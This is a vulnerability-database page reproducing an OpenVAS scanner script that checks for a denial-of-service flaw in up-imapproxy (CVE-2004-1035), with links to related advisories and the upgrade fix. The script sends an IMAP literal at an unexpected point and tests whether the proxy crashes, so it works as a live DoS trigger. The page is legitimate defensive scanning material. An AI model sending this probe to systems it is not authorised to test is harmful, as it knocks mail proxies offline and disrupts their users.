Lucene search
+L

up-imapproxy Literal DoS Vulnerability

🗓️ 03 Nov 2005 00:00:00Reported by Copyright (C) 2004 George A. TheallType 
openvas
 openvas
🔗 plugins.openvas.org👁 18 Views

The up-imapproxy has a Literal DoS Vulnerability which allows remote attackers to crash the proxy using literals, affecting existing and new connections. Upgrade to up-imapproxy 1.2.3rc2 or later

Related
Refs
Code
ReporterTitlePublishedViews
Family
freebsd
FreeBSD
up-imapproxy -- multiple vulnerabilities
17 Nov 200400:00
freebsd
cve
CVE
CVE-2004-1035
16 Nov 200405:00
cve
cvelist
Cvelist
CVE-2004-1035
16 Nov 200405:00
cvelist
debiancve
Debian CVE
CVE-2004-1035
16 Nov 200405:00
debiancve
euvd
EUVD
EUVD-2004-1033
7 Oct 202500:30
euvd
nessus
Tenable Nessus
FreeBSD : up-imapproxy -- multiple vulnerabilities (927743d4-5ca9-11d9-a9e7-0001020eed82)
13 Jul 200500:00
nessus
nessus
Tenable Nessus
up-imapproxy IMAP Proxy IMAP_Line_Read() Function Literal Size DoS
30 Nov 200400:00
nessus
nvd
NVD
CVE-2004-1035
1 Mar 200505:00
nvd
openvas
OpenVAS
FreeBSD Ports: up-imapproxy
4 Sep 200800:00
openvas
openvas
OpenVAS
up-imapproxy Literal DoS Vulnerability
3 Nov 200500:00
openvas
Rows per page
SourceLink
securityfocuswww.securityfocus.com/bid/11630
# SPDX-FileCopyrightText: 2004 George A. Theall
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.15853");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"6.4");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:P");
  script_cve_id("CVE-2004-1035");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/11630");
  script_xref(name:"OSVDB", value:"11584");
  script_name("up-imapproxy Literal DoS Vulnerability");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2004 George A. Theall");
  script_family("Denial of Service");
  script_dependencies("imap4_banner.nasl");
  script_require_ports("Services/imap", 143);
  script_mandatory_keys("imap/banner/available");

  script_tag(name:"solution", value:"Upgrade to up-imapproxy 1.2.3rc2 or later.");

  script_tag(name:"summary", value:"The remote host is running at least one instance of up-imapproxy that does
  not properly handle IMAP literals.");

  script_tag(name:"impact", value:"This flaw allows a remote attacker to crash the proxy, killing existing
  connections as well as preventing new ones, by using literals at unexpected times.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("imap_func.inc");
include("misc_func.inc");
include("port_service_func.inc");

port = imap_get_port(default:143);

# nb: skip it if traffic is encrypted since uw-imapproxy only supports TLS when acting as a client.
encaps = get_port_transport(port);
if(encaps > ENCAPS_IP)
  exit(0);

banner = imap_get_banner(port:port);
if(!banner)
  exit(0);

tag = 0;

soc = open_sock_tcp(port);
if(!soc)
  exit(0);

s = recv_line(socket:soc, length:1024);
s = chomp(s);
if(!s) {
  close(soc);
  exit(0);
}

vtstrings = get_vt_strings();

++tag;
c = string("a", string(tag), " ", vtstrings["lowercase"], " is testing {1}");
send(socket:soc, data:string(c, "\r\n"));
while (s = recv_line(socket:soc, length:1024)) {
  s = chomp(s);
  m = eregmatch(pattern:string("^a", string(tag), " (OK|BAD|NO)"), string:s, icase:TRUE);
  if (!isnull(m)) {
    resp = m[1];
    break;
  }
  resp = '';
}
if (resp && resp =~ "BAD") {
  c = "up-imapproxy";
  send(socket:soc, data:string(c, "\r\n"));
  while (s = recv_line(socket:soc, length:1024)) {
    s = chomp(s);
    # nb: the pattern changes since an unproxied service will echo a line
    #     like "up-imapproxy BAD Missing command".
    m = eregmatch(pattern:"^[^ ]+ (OK|BAD|NO)", string:s, icase:TRUE);
    if (!isnull(m)) {
      resp = m[1];
      break;
    }
    resp = '';
  }
  # If we didn't get a response, make sure the service is truly down.
  if (!resp) {
    close(soc);
    soc = open_sock_tcp(port);
    if (!soc) {
      security_message(port:port);
      exit(0);
    }
  }
}

# Logout.
++tag;
c = string("a", string(tag), " LOGOUT");
send(socket:soc, data:string(c, "\r\n"));
while (s = recv_line(socket:soc, length:1024)) {
  s = chomp(s);
  m = eregmatch(pattern:string("^a", string(tag), " (OK|BAD|NO)"), string:s, icase:TRUE);
  if (!isnull(m)) {
    resp = m[1];
    break;
  }
  resp = "";
}

close(soc);
exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jul 2023 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 26.4
EPSS0.02068
18